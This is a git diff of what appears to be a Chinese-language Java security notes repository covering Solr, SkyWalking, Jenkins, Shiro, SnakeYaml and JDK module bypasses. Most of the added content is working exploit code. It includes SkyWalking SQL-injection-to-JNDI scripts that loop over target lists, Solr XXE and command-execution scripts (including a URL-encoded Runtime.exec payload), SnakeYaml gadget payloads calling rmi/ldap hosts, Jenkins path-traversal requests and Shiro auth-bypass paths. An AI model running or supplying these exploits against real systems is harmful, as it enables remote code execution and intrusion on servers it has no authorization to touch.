+ }
+ //if(methodFilterMapField.getType().isAssignableFrom(HashMap.class)){
+ // unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(methodFilterMapField),new HashMap());
+ //}
+ }
+ public static void main(String[] args) throws Exception{
+ //绕过Java 反射过滤获取ClassLoader私有字段
+ //ClassLoader.class.getDeclaredField("parent");//在之前反射会报错
+ new bypass().bypassReflectionFilter();
+ ClassLoader.class.getDeclaredField("parent");//在之后反射可以bypass
+ }
+}
+```
+参考:https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java
+
+jdk>16
+
+jdk17 bypass module
+
+https://www.bennyhuo.com/2021/10/02/Java17-Updates-06-internals/
+
+https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java
+
+在jdk17使用反序列化的时候发现要报错
+
+```
+InvokerTransformer: The method 'newTransformer' on 'class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' cannot be accessed
+```
+
+
+
+
+限制了
+
+
+
+
+限制了的类https://cr.openjdk.java.net/~mr/jigsaw/jdk8-packages-strongly-encapsulated
+
+## 需要bypass
+
+```
+按照提案的说明,被严格限制的这些内部 API 包括:
+
+java.* 包下面的部分非 public 类、方法、属性,例如 Classloader 当中的 defineClass 等等。
+sun.* 下的所有类及其成员都是内部 API。
+绝大多数 com.sun.* 、 jdk.* 、org.* 包下面的类及其成员也是内部 API。
+```
+
+**code**
+
+```java
+
+import sun.misc.Unsafe;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+
+/**
+ * https://cr.openjdk.java.net/~mr/jigsaw/jdk8-packages-strongly-encapsulated
+ */
+public class BypassModule {
+ public static void main(String[] args) throws Exception {
+ final ArrayList classes = new ArrayList<>();
+ classes.add(Class.forName("java.lang.reflect.Field"));
+ classes.add(Class.forName("java.lang.reflect.Method"));
+ Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
+ classes.add(aClass);
+ new BypassModule().bypassModule(classes);
+ aClass.newInstance();
+ }
+
+ public void bypassModule(ArrayList classes){
+ try {
+ Unsafe unsafe = getUnsafe();
+ Class currentClass = this.getClass();
+ try {
+ Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
+ if (getModuleMethod != null) {
+ for (Class aClass : classes) {
+ Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
+ unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
+ }
+ }
+ }catch (Exception e) {
+ }
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ private static Method getMethod(Class clazz,String methodName,Class[] params) {
+ Method method = null;
+ while (clazz!=null){
+ try {
+ method = clazz.getDeclaredMethod(methodName,params);
+ break;
+ }catch (NoSuchMethodException e){
+ clazz = clazz.getSuperclass();
+ }
+ }
+ return method;
+ }
+
+ private static Unsafe getUnsafe() {
+ Unsafe unsafe = null;
+ try {
+ Field field = Unsafe.class.getDeclaredField("theUnsafe");
+ field.setAccessible(true);
+ unsafe = (Unsafe) field.get(null);
+ } catch (Exception e) {
+ throw new AssertionError(e);
+ }
+ return unsafe;
+ }
+}
+```
+
diff --git a/Jdk/dnsrebinding/Readme.md b/Jdk/dnsrebinding/Readme.md
new file mode 100644
index 0000000..cf62f1a
--- /dev/null
+++ b/Jdk/dnsrebinding/Readme.md
@@ -0,0 +1,13 @@
+# java rebinding
+
+http://www.loongten.com/2020/02/26/dns-rebinding-bypass
+
+http://www.lpnote.com/2018/11/23/java-dns-cache/
+
+https://www.xmanblog.net/java-dns-rebinding-ssrf/
+
+https://paper.seebug.org/390/
+
+https://powerdns.org/hello-dns/
+
+http://www.ruanyifeng.com/blog/2016/06/dns.html
diff --git a/Jenkins/Readme.md b/Jenkins/Readme.md
new file mode 100644
index 0000000..3dcfc1a
--- /dev/null
+++ b/Jenkins/Readme.md
@@ -0,0 +1,23 @@
+# Jenkins
+
+## CVE-2018-1999002
+poc
+```
+GET /plugin/credentials/.ini HTTP/1.1
+Host:
+Accept-Language: ../../../../../../../../windows/win
+
+GET /plugin/credentials/.txt HTTP/1.1
+Host:
+Accept-Language: ../../../../../../../../firebasky
+```
+
+[Jenkins 任意文件读取漏洞复现与分析-CVE-2018-1999002](https://chybeta.github.io/2018/08/07/Jenkins-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-1999002%E3%80%91/)
+
+linux 下利用难度大 必须找一个存在`_`的目录
+
+
+
+
+## 插件问题 xxe/xstream 反序列化
+https://github.com/Firebasky/ctf-Challenge/tree/main/2021_xyb_easyJenkins
diff --git a/Jetty/Readme.md b/Jetty/Readme.md
new file mode 100644
index 0000000..5405b5c
--- /dev/null
+++ b/Jetty/Readme.md
@@ -0,0 +1,7 @@
+# Jetty
+
+好文章:
+
+https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/
+
+https://xz.aliyun.com/t/10039
diff --git a/MyBatis/Readme.md b/MyBatis/Readme.md
new file mode 100644
index 0000000..473dddc
--- /dev/null
+++ b/MyBatis/Readme.md
@@ -0,0 +1,3 @@
+# MyBatis
+
++ [CVE-2020-26945 mybatis二级缓存反序列化的分析与复现](https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247484196&idx=1&sn=735666b28cff6e6552d8f3e16b1be9a5&chksm=fa8b1ebccdfc97aa80b6103587fd418b63c6b0d290cd4229ccc999b3706fe4f325595049a7ce&mpshare=1&scene=23&srcid=1013pFDy9OUsVb24733hEAhA&sharer_sharetime=1602582161965&sharer_shareid=8a8448ee03016e30de742559b7359a01%23rd) 简单的说就是mybatis为了缓解多次查询而开启的缓存,如果可以修改缓存的内容就可以将其反序列化。[CVE-2020-26945漏洞](https://www.anquanke.com/post/id/219457)
diff --git a/RASP/Readme.md b/RASP/Readme.md
new file mode 100644
index 0000000..fc2ac3f
--- /dev/null
+++ b/RASP/Readme.md
@@ -0,0 +1,61 @@
+# RASP
+
+Runtime application self-protection
+
+它是一种新型应用安全保护技术,它将保护程序像疫苗一样注入到应用程序中,应用程序融为一体,能实时检测和阻断安全攻击,使应用程序具备自我保护能力,当应用程序遭受到实际攻击伤害,就可以自动对其进行防御,而不需要进行人工干预。
+
+
+
+RASP技术可以快速的将安全防御功能整合到正在运行的应用程序中,它拦截从应用程序到系统的所有调用,确保它们是安全的,并直接在应用程序内验证数据请求。Web和非Web应用程序都可以通过RASP进行保护。该技术不会影响应用程序的设计,因为RASP的检测和保护功能是在应用程序运行的系统上运行的。
+
+### 使用
+
+https://github.com/baidu/openrasp
+
+安装:java -jar RaspInstall.jar -install tomcat目录
+
+配置环境变量: 新建 CATALINE_HOME 值为tomcat目录
+
+在tomcat目录的bin下执行cataline.bat run
+
+测试curl -v 127.0.0.1:8888 |grep OpenRASP
+
+服务器的响应 X-Protected-By: OpenRASP
+
+### 测试
+
+https://github.com/baidu-security/openrasp-testcases
+
+日志:\rasp\logs\alarm\alarm.log
+
+### 实现
+
+java中是通过Java Agent方式进行实现
+
+**是通过java的agent配合asm对运行的字节码进行了修改,这样就达到了埋点hook的目的。**
+
+PHP是通过开发第php扩展库来进行实现。
+
+.NET是通过IHostingStartup(承载启动)实现
+
+
+
+**RASP技术其实主要就是对编程语言的危险底层函数进行hook**,毕竟在怎么编码转换以及调用,最后肯定会去执行最底层的某个方法然后对系统进行调用。由此可以反推出其hook点,然后使用不同的编程语言中不同的技术对其进行实现。
+
+
+
+### 学习
+
+https://blog.csdn.net/HY1273383167/article/details/116211211 1
+
+https://blog.csdn.net/u011721501/article/details/74990346 1
+
+https://www.freebuf.com/articles/web/197823.html
+
+https://paper.seebug.org/1041/
+
+https://blog.csdn.net/u011721501/article/details/74990346
+
+https://paper.seebug.org/330/
+
+
diff --git a/README.md b/README.md
index 451b433..907e11b 100644
--- a/README.md
+++ b/README.md
@@ -2,11 +2,49 @@
可能有一部分是java的基础语法
和一些java安全,主要是java安全和java框架漏洞的复现,加一些代码审计
-+ 2021/7/30 [添加了java的一些命令执行shell](shell) 💛 💙 💜 ❤️ 💚
-+ 2021/8/15 [添加了Java日常知识点](java日常) 💛 💙 💜 ❤️ 💚
-+ 2021/8/31 [添加了jackson序列化的exp](jackson) 💛 💙 💜 ❤️ 💚
-+ 2021/9/06 [添加Shiro其他漏洞](Shiro) 💛 💙 💜 ❤️ 💚
-+ 2021/9/06 [添加SnakeYaml序列化漏洞和trick](SnakeYaml) 💛 💙 💜 ❤️ 💚
-+ 2021/9/08 [添加序列化链](java序列化链) 💛 💙 💜 ❤️ 💚
-+ 2021/9/15 [添加java模板注入](java模板注入) 💛 💙 💜 ❤️ 💚
-+ 2021/9/18 [添加java小型框架](java小型框架) 💛 💙 💜 ❤️ 💚
++ 2021/7/30 [添加了java的一些命令执行shell](shell) 💛 💙 💜 ❤️ 💚
++ 2021/8/15 [添加了Java日常知识点](java日常) 💛 💙 💜 ❤️ 💚
++ 2021/8/31 [添加了jackson序列化的exp](jackson) 💛 💙 💜 ❤️ 💚
++ 2021/9/06 [添加Shiro其他漏洞](Shiro) 💛 💙 💜 ❤️ 💚
++ 2021/9/06 [添加SnakeYaml序列化漏洞和trick](SnakeYaml) 💛 💙 💜 ❤️ 💚
++ 2021/9/08 [添加序列化链](java序列化链) 💛 💙 💜 ❤️ 💚
++ 2021/9/15 [添加java模板注入](java模板注入) 💛 💙 💜 ❤️ 💚
++ 2021/9/18 [添加java小型框架](java小型框架) 💛 💙 💜 ❤️ 💚 **添加了渗透的思路**
++ 2021/9/25 [添加java回显](java回显) 💛 💙 💜 ❤️ 💚
++ 2021/10/3 [添加Weblogic漏洞](Weblogic) 💛 💙 💜 ❤️ 💚
++ 2021/10/15 [添加MyBatis的CVE-2020-26945](MyBatis) 💛 💙 💜 ❤️ 💚
++ 2021/10/20 [添加BypassSM](BypassSM) 💛 💙 💜 ❤️ 💚
++ 2021/10/25 [添加Xstream](Xstream) 💛 💙 💜 ❤️ 💚
++ 2021/11/19 [添加Springboot](Springboot) 💛 💙 💜 ❤️ 💚
++ 2021/12/17 [添加Springcloud](Springcolud) 💛 💙 💜 ❤️ 💚
++ 2021/12/17 [添加jbdc](Jdbc) 💛 💙 💜 ❤️ 💚
++ 2021/12/19 [添加Jenkins](Jenkins) 💛 💙 💜 ❤️ 💚
++ 2022/01/14 [添加了dubbo漏洞分析](Dubbo) 💛 💙 💜 ❤️ 💚
++ 2022/01/16 [添加CAS漏洞学习](CAS) 💛 💙 💜 ❤️ 💚
++ 2022/03/18 [添加Solr利用exp](Solr) 💛 💙 💜 ❤️ 💚
++ 2022/10/07 [添加jvm的学习笔记](JVM) 💛 💙 💜 ❤️ 💚
++ 2022/10/07 [添加JDK里面的trick](Jdk) 💛 💙 💜 ❤️ 💚
+
+
+## 知识星球
+该知识星球主要是分享java相关的安全知识,绝对精华.里面包含未开放的1day和0day等分享或武器化工具一发入魂
+
+
+
+
+
+## 代学习
+
+[java设计模式](https://www.runoob.com/design-pattern/design-pattern-tutorial.html) :heavy_check_mark:
+[jvm学习]() 正在学习中.
+
+## 说明
+目前该项目更新可能会慢一些,更新的基本上是在[添加了Java日常知识点](java日常)中记录自己感觉有意思的文章和小trick,希望对你有帮助.
+
+如果你遇到了很好的文章非常欢迎提交issues.
+
+
+## Stargazers over time
+
+[](https://starchart.cc/Firebasky/Java)
+
diff --git "a/Shiro/Shiro\346\235\203\351\231\220\347\273\225\350\277\207/Readme.md" "b/Shiro/Shiro\346\235\203\351\231\220\347\273\225\350\277\207/Readme.md"
index 59ef745..6073000 100644
--- "a/Shiro/Shiro\346\235\203\351\231\220\347\273\225\350\277\207/Readme.md"
+++ "b/Shiro/Shiro\346\235\203\351\231\220\347\273\225\350\277\207/Readme.md"
@@ -41,6 +41,8 @@ https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce#
## CVE-2020-11989
+[Apache Shiro权限绕过漏洞CVE-2020-11989分析](https://www.anquanke.com/post/id/222489)
+
**payload:/admin/%252fxxx**
漏洞产生的原因是因为 Spring 与 Shiro 之间对 url 的处理不同从而导致权限绕过.
@@ -145,13 +147,18 @@ pom.xml 中版本修改为 1.7.0 或及以下即可
/login/..;/admin/
/login/..;/json
+/actuator/;/env/
+/admin/;/xxx
/admin/%3b/xxx
/admin/%252fxxx
/admin/%3Bxx
/admin/%20
```
+## CVE-2022-32532
+[CVE-2022-32532](https://github.com/4ra1n/CVE-2022-32532)
+原理参考[CVE-2022-22978 Spring Security RegexRequestMatcher 认证绕过及转发流程分析](https://xz.aliyun.com/t/11473)
>参考:
>
diff --git a/SkyWalking/Readme.md b/SkyWalking/Readme.md
new file mode 100644
index 0000000..8ad9aa3
--- /dev/null
+++ b/SkyWalking/Readme.md
@@ -0,0 +1,12 @@
+# SkyWalking
+
+
+
+> Apache Skywalking是一款针对分布式系统的应用程序性能监视工具,为微服务,云原生和基于容器(Docker,Kubernetes,Mesos)的体系结构而设计。
+
+## sql->RCE
+
+https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw
+
+https://github.com/vulhub/vulhub/blob/master/skywalking/8.3.0-sqli/README.zh-cn.md
+
diff --git a/SkyWalking/tool/exp.py b/SkyWalking/tool/exp.py
new file mode 100644
index 0000000..a5a2272
--- /dev/null
+++ b/SkyWalking/tool/exp.py
@@ -0,0 +1,62 @@
+# -*- coding: utf-8 -*
+# /usr/bin/python3
+# @Author:Firebasky
+
+# https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw
+# https://cloud.tencent.com/developer/article/1939867
+
+import requests
+import urllib3
+
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+
+
+burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0",
+ "Accept": "application/json, text/plain, */*",
+ "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
+ "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json;charset=utf-8",
+ "Origin": "http://192.168.18.240:8080", "Connection": "close",
+ "Referer": "http://192.168.18.240:8080/log"}
+
+payload = 'CAFEBABE000000.............'
+ClassName = 'Evil'
+JndiUrl = 'ldap://0.0.0.0:8888'
+
+
+def exp(burp0_url):
+ burp0_json1 = {"query": "query queryLogs($condition: LogQueryCondition) {\r\n logs: queryLogs(condition: $condition) {\r\n data: logs {\r\n serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content\r\n }\r\n total\r\n }\r\n }", "variables": {"condition": {"endpointId": "1", "metricName": "INFORMATION_SCHEMA.USERS union all select file_write('"+payload+"','"+ClassName+".class'))a where 1=? or 1=? or 1=? --", "paging": {"needTotal": True, "pageNum": 1, "pageSize": 1}, "state": "ALL", "stateCode": "1", "traceId": "1"}}}
+ try:
+ requests.post(burp0_url, headers=burp0_headers, json=burp0_json1, verify=False, allow_redirects=False, timeout=2)
+ except:
+ pass
+ # 触发
+ burp0_json2={"query": "query queryLogs($condition: LogQueryCondition) {\r\n logs: queryLogs(condition: $condition) {\r\n data: logs {\r\n serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content\r\n }\r\n total\r\n }\r\n }", "variables": {"condition": {"endpointId": "1", "metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','"+ClassName+"','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --", "paging": {"needTotal": True, "pageNum": 1, "pageSize": 1}, "state": "ALL", "stateCode": "1", "traceId": "1"}}}
+ try:
+ requests.post(burp0_url, headers=burp0_headers, json=burp0_json2, verify=False, allow_redirects=False, timeout=2)
+ except:
+ pass
+
+
+def jndi(burp0_url):
+ burp0_json = {
+ "query": "query queryLogs($condition: LogQueryCondition) {\r\n logs: queryLogs(condition: $condition) {\r\n data: logs {\r\n serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content\r\n }\r\n total\r\n }\r\n }",
+ "variables": {"condition": {"endpointId": "1",
+ "metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','javax.naming.InitialContext','"+JndiUrl+"','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --",
+ "paging": {"needTotal": True, "pageNum": 1, "pageSize": 1}, "state": "ALL",
+ "stateCode": "1", "traceId": "1"}}}
+ try:
+ requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False, allow_redirects=False, timeout=2)
+ except:
+ pass
+
+
+def fileTarget(file):
+ with open(file) as url_txt:
+ urls = url_txt.readlines()
+ for url in urls:
+ url = url.replace('\n', '')
+ jndi(url+'/graphql')
+
+
+if __name__ == '__main__':
+ fileTarget('vulip.txt')
diff --git a/SkyWalking/tool/scan.py b/SkyWalking/tool/scan.py
new file mode 100644
index 0000000..77d860b
--- /dev/null
+++ b/SkyWalking/tool/scan.py
@@ -0,0 +1,104 @@
+# -*- coding: utf-8 -*
+# /usr/bin/python3
+# @Author:Firebasky
+import argparse
+import threading
+import requests
+import urllib3
+
+
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+
+# 利用脚本
+
+result = [] # 结果
+
+info = 'Apache Skywalking 8.3.0 SQL Injection Vulnerability'
+
+
+# 添加
+endpoints = [
+ '/graphql',
+]
+
+
+headers = {
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
+ 'Content-Type': 'application/json',
+ 'Cookie': 'ADMINCONSOLESESSION=1hDwvQkPnPmLyDpwJvBL1qWTyXLYvQqSlMvJv3h7xyTxz5BJtGm3!1162256454',
+ 'X-Forwarded-For': '127.0.0.1',
+ 'X-Client-IP': '127.0.0.1',
+ 'X-Remote-IP': '127.0.0.1',
+ 'X-Remote-Addr': '127.0.0.1',
+ 'X-Originating-IP': '127.0.0.1',
+}
+
+proxy = {
+ 'http': '127.0.0.1:8080'
+}
+
+
+def save(result):
+ file = open('result.txt', 'w')
+ for line in result:
+ file.write(line + '\n')
+ file.close()
+
+
+def Scan_http(url, socket_proxies):
+ FLAG = False
+ payload = {
+ "query": "query queryLogs($condition: LogQueryCondition) {\r\n queryLogs(condition: $condition) {\r\n total\r\n logs {\r\n serviceId\r\n serviceName\r\n isError\r\n content\r\n }\r\n }\r\n}\r\n",
+ "variables": {"condition": {"metricName": "sqli", "paging": {"pageSize": 10}, "state": "ALL"}}}
+
+ for endpoint in endpoints:
+ try:
+ res = requests.post(url+endpoint, json=payload, headers=headers, timeout=2, verify=False, proxies=socket_proxies, allow_redirects=False)
+ if "sqli" in res.text and res.status_code == 200:
+ FLAG=True
+ result.append(url+' 存在'+info)
+ print(url+'\033[1;31m存在'+info+'\033[0m')
+ break
+ except:
+ pass
+ if not FLAG:
+ print(url+"扫描完成不存在漏洞")
+
+
+def fileTarget(file, socket_proxies):
+ with open(file) as url_txt:
+ urls = url_txt.readlines()
+ for url in urls:
+ url = url.replace('\n', '')
+ Scan_http(url, socket_proxies)
+ save(result)
+
+
+def multiRun(file, socket_proxies):
+ t = threading.Thread(target=fileTarget, args=(file, socket_proxies))
+ t.start()
+ t.join()
+
+
+
+if __name__ == '__main__':
+ parser = argparse.ArgumentParser(description=info+'scanner')
+ parser.add_argument('-f', default=None, help='read target url from file')
+ parser.add_argument('-u', default=None, help='target url')
+ parser.add_argument('-proxy', default=None, help='-proxy socks5://0.0.0.0:8088')
+ args = parser.parse_args()
+ socket_proxies = None
+ if args.proxy:
+ socket_proxies = {
+ 'http': args.proxy
+ }
+ if args.u:
+ Scan_http(args.u, socket_proxies)
+ exit(0)
+ if args.f:
+ multiRun(args.f, socket_proxies)
+ exit(0)
+ else:
+ parser.print_help()
+ exit(0)
diff --git a/SnakeYaml/Readme.md b/SnakeYaml/Readme.md
new file mode 100644
index 0000000..b14e92b
--- /dev/null
+++ b/SnakeYaml/Readme.md
@@ -0,0 +1,33 @@
+# snakeyaml
+
+## 不出网利用
+>通过写文件然后本地加载rce
+
+//todo 写一个工具 去完成 已经完成了
+
+
+https://xz.aliyun.com/t/10655
+
+限制了class,不过存在class bean中有object属性 参考: https://mp.weixin.qq.com/s/7HJXfNibY9Z3DPGarTqyZQ
+
+加载本地
+```java
+String data2 = "!!javax.script.ScriptEngineManager [\n" +
+ " !!java.net.URLClassLoader [[\n" +
+ " !!java.net.URL [\"file:E:/yaml-payload.jar\"]\n" +
+ " ]]\n" +
+ "]";
+```
+
+## 判断类存在
+```java
+ String poc = "[!!判断的类全类名 []: 0, !!java.net.URL [null, \"http://ixvoxg.dnslog.cn\"]: 1]";
+```
+
+## 其他链 一般是jndi
+
+```
+!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: "rmi://xxxx", autoCommit: true}
+```
+
+参考: https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E
diff --git a/Solr/README.md b/Solr/README.md
index 2edc0c1..cc7d06c 100644
--- a/Solr/README.md
+++ b/Solr/README.md
@@ -1,4 +1,191 @@
# Apache Solr漏洞
**Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。**
+>Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
-Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。
+
+https://github.com/Imanfeng/Apache-Solr-RCE
+
+## CVE-2017-12629
+
+[CVE-2017-12629 - Apache Solr XXE & RCE 漏洞分析](https://paper.seebug.org/425/)
+
+```python
+# -*- coding: utf-8 -*
+# /usr/bin/python3
+# @Author:Firebasky
+# xxe and rce
+import requests
+from urllib.parse import quote
+
+ip='101.35.196.173'
+port='8983'
+
+'''
+
+">
+'''
+def xxe(url):
+ exp = "%ext;%ent;]>&data;"
+ text = quote(exp, 'utf-8')
+ burp0_url = "http://"+ip+":"+port+"/solr/demo/select?q="+text+"&wt=xml&defType=xmlparser"
+ get = requests.get(burp0_url)
+ print(get.text)
+
+# 依据漏洞作者所披露的漏洞细节来看,RCE需要使用到SolrCloud Collections API,所以RCE只影响Solrcloud分布式系统。
+# /solr/admin/cores?wt=json 判断
+def rce(cmd):#不稳定,并且不知道路径
+ burp0_url = "http://"+ip+":"+port+"/solr/demo/config"
+ burp0_headers = {"Accept": "*/*", "Accept-Language": "en",
+ "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
+ "Connection": "close"}
+ burp0_json = {
+ "add-listener": {"args": ["-c", cmd], "class": "solr.RunExecutableListener", "dir": "/bin/",
+ "event": "postCommit", "exe": "sh", "name": "newlistener"}}
+ requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
+
+ burp0_json2=[{"id": "test"}]
+ requests.post(burp0_url, headers=burp0_headers, json=burp0_json2)
+
+if __name__ == '__main__':
+ # xxe("http://101.35.196.173:8080/do.dtd")
+ rce("touch /tmp/1")
+```
+
+## CVE-2019-0192
+
+https://github.com/mpgn/CVE-2019-0192/blob/master/CVE-2019-0192.py
+
+## CVE-2019-0193
+
+https://www.yuque.com/tianxiadamutou/zcfd4v/uyceyo#4785516e
+
+```python
+# -*- coding: utf-8 -*
+# /usr/bin/python3
+# @Author:Firebasky
+import requests
+from urllib.parse import quote
+
+def getinfo(remote):
+ burp0_url = remote + "/solr/admin/cores?wt=json"
+ r = requests.get(burp0_url, verify=False, allow_redirects=False)
+ if r.status_code == 200:
+ a = list(r.json()['status'].keys())
+ # ressource = "/solr/" + a[0] + "/config"
+ # print(ressource)
+ return a[0]
+ else:
+ exit(0)
+
+#需要出网
+def exp1(url,info,cmd):
+ burp0_url = url+"/solr/"+info+"/dataimport?_=1647571813629&indent=on&wt=json"
+ burp0_headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest",
+ "Content-type": "application/x-www-form-urlencoded", "Connection": "close"}
+ burp0_data = {"command": "full-import", "verbose": "false", "clean": "false", "commit": "true", "debug": "true",
+ "core": "test",
+ "dataConfig": "\n \n \n \n \n \n",
+ "name": "dataimport"}
+ post = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
+ print(post.json()['documents'])
+
+def exp2(url,info,cmd):
+ burp0url = url+"/solr/"+info+"/config"
+ headers = {"Accept": "application/json, text/plain, */*", "X-Requested-With": "XMLHttpRequest",
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
+ "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close",
+ "Content-Type": "application/json"}
+ burp0_json = {"set-property": {"requestDispatcher.requestParsers.enableStreamBody": True}}
+ requests.post(burp0url, headers=headers, json=burp0_json)
+
+ exp='''
+
+
+
+
+
+
+
+ '''
+ text = quote(exp, 'utf-8')
+ text ="%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22"+quote(cmd,'utf-8')+"%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%